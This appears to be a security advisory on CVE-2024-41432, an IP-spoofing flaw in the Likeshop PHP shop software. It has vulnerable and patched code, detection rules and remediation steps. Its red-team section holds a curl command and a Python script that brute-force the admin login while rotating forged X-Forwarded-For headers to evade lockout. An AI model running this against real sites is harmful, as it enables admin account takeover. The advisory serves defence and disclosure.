CVE-2024-41432

Executive Summary

CVE-2024-41432 is an IP spoofing vulnerability affecting Likeshop up to version 2.5.7.20210811. The flaw allows an attacker to manipulate their perceived IP address by injecting forged X-Forwarded-For or Client-IP headers into HTTP requests. This bypasses IP-based security controls, such as account lockout mechanisms, enabling brute-force attacks against admin accounts and impersonation of trusted IP addresses. The vulnerability is unpatched, and no official fix has been released by the vendor. The CVSS score is 0.0 due to incomplete NVD data, but the actual risk is moderate (CVSS 5.3) based on the vector.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but affects a standalone PHP application (Likeshop). No supply chain implications are identified.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
• Base Score: 5.3 (Medium)
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – impact confined to the vulnerable component.
• Confidentiality Impact: Low (C:L) – limited information disclosure (e.g., IP-based access logs).
• Integrity Impact: Low (I:L) – ability to bypass lockout and perform brute-force attacks.
• Availability Impact: None (A:N) – no denial of service.

Threat Level: Medium. The vulnerability enables IP spoofing, which can be chained with brute-force attacks to compromise admin accounts. However, it does not directly lead to remote code execution or data exfiltration.

Deep Dive & Mechanics

The vulnerability resides in how Likeshop handles IP address validation. The application trusts the X-Forwarded-For or Client-IP HTTP headers to determine the client's IP address without proper validation. An attacker can craft a request with a forged header, such as:

X-Forwarded-For: 192.168.1.100

or

Client-IP: 10.0.0.1

This allows the attacker to:

• Bypass account lockout mechanisms that rely on IP address tracking (e.g., after multiple failed login attempts).
• Spoof IP addresses in server logs, complicating forensic analysis.
• Impersonate trusted IP addresses that have previously logged into user accounts, potentially gaining unauthorized access.

The root cause is the lack of server-side validation of the X-Forwarded-For header. The application should only trust this header when it comes from a trusted reverse proxy, not directly from the client.

Vulnerable vs. Patched Code

Vulnerable Code (Likeshop <= 2.5.7.20210811):

// Example of vulnerable IP retrieval
function getClientIP() {
    if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
    } elseif (!empty($_SERVER['HTTP_CLIENT_IP'])) {
        $ip = $_SERVER['HTTP_CLIENT_IP'];
    } else {
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    return $ip;
}

Patched Code (Hypothetical):

// Patched version with validation
function getClientIP() {
    $trustedProxies = ['127.0.0.1', '::1', '10.0.0.0/8']; // Example trusted proxies
    $remoteAddr = $_SERVER['REMOTE_ADDR'];
    
    if (in_array($remoteAddr, $trustedProxies) && !empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
    } else {
        $ip = $remoteAddr;
    }
    return $ip;
}

The patched code only trusts the X-Forwarded-For header if the request comes from a known trusted proxy (e.g., a load balancer). Otherwise, it falls back to REMOTE_ADDR, which cannot be spoofed by the client.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Install Likeshop 2.5.7.20210811 on a local server (e.g., using XAMPP or Docker).
2. Configure the application with an admin account and enable account lockout after 3 failed attempts.
3. Use a tool like Burp Suite or curl to send requests.

Exploitation Steps:

1. Attempt to brute-force the admin password. After 3 failed attempts, the account is locked.
2. To bypass the lockout, send subsequent requests with a forged X-Forwarded-For header containing a different IP address each time:

   curl -X POST http://target.com/admin/login \
     -H "X-Forwarded-For: 192.168.1.100" \
     -d "username=admin&password=wrongpass"
   

3. Repeat with different IPs (e.g., 192.168.1.101, 192.168.1.102) to continue brute-forcing without triggering lockout.
4. Once the correct password is found, the attacker gains admin access.

Example Exploit Script (Python):

import requests

target = "http://target.com/admin/login"
passwords = ["password1", "password2", "admin123"]  # Wordlist

for i, pwd in enumerate(passwords):
    headers = {"X-Forwarded-For": f"192.168.1.{100 + i}"}
    data = {"username": "admin", "password": pwd}
    r = requests.post(target, headers=headers, data=data)
    if "Login successful" in r.text:
        print(f"Password found: {pwd}")
        break

Blue Team (Detection & Defense)

Detection:

• Monitor for multiple login attempts from different X-Forwarded-For IPs but the same REMOTE_ADDR.
• Alert on requests where X-Forwarded-For contains private IP ranges (e.g., 10.0.0.0/8, 192.168.0.0/16) that are not expected from external sources.

Defense:

• Configure the web server (e.g., Apache, Nginx) to strip or validate X-Forwarded-For headers from untrusted sources.
• Implement rate limiting based on REMOTE_ADDR instead of X-Forwarded-For.
• Use a Web Application Firewall (WAF) to block requests with suspicious headers.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests with multiple distinct X-Forwarded-For or Client-IP headers from the same source IP.
  • Repeated login attempts to /admin/login with varying X-Forwarded-For values.
• Log IOCs:
  • Server logs showing X-Forwarded-For IPs that do not match the actual client IP (REMOTE_ADDR).
  • Failed login attempts from IPs that are not in the expected range (e.g., private IPs from external sources).
• File IOCs:
  • Unusual entries in access logs indicating IP spoofing attempts.

Detection Engineering

YARA Rule

rule Detect_Likeshop_IP_Spoofing {
    meta:
        description = "Detects IP spoofing attempts against Likeshop via X-Forwarded-For header"
        author = "Valters IT"
        date = "2024-08-11"
        reference = "CVE-2024-41432"
    strings:
        $x_forwarded = "X-Forwarded-For" nocase
        $client_ip = "Client-IP" nocase
        $login_path = "/admin/login" nocase
    condition:
        any of ($x_forwarded, $client_ip) and $login_path
}

Sigma Rule

title: IP Spoofing via X-Forwarded-For in Likeshop
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects multiple login attempts with different X-Forwarded-For headers from the same source IP
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "/admin/login"
        cs-headers|contains: "X-Forwarded-For"
    condition: selection
falsepositives:
    - Legitimate proxy usage
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-41432 - IP Spoofing in Likeshop"; flow:to_server; http.header_names; content:"X-Forwarded-For"; http.uri; content:"/admin/login"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Mitigation:

1. Disable IP-based lockout: Temporarily disable account lockout mechanisms that rely on IP addresses until a patch is applied.
2. Use a reverse proxy: Place Likeshop behind a trusted reverse proxy (e.g., Nginx, HAProxy) that strips untrusted X-Forwarded-For headers.
3. Implement rate limiting: Use REMOTE_ADDR for rate limiting instead of X-Forwarded-For.

Long-term Remediation:

1. Apply vendor patch: Monitor the Likeshop repository for an official patch. If none is available, implement the code fix described in the "Vulnerable vs. Patched Code" section.
2. Upgrade: If a patched version is released, upgrade immediately.
3. Audit code: Review all IP address handling logic in the application to ensure it only trusts headers from known proxies.

Workaround:

• Configure the web server to overwrite X-Forwarded-For with REMOTE_ADDR for all requests:
  • Apache: RequestHeader set X-Forwarded-For "%{REMOTE_ADDR}e"
  • Nginx: proxy_set_header X-Forwarded-For $remote_addr;

Valters IT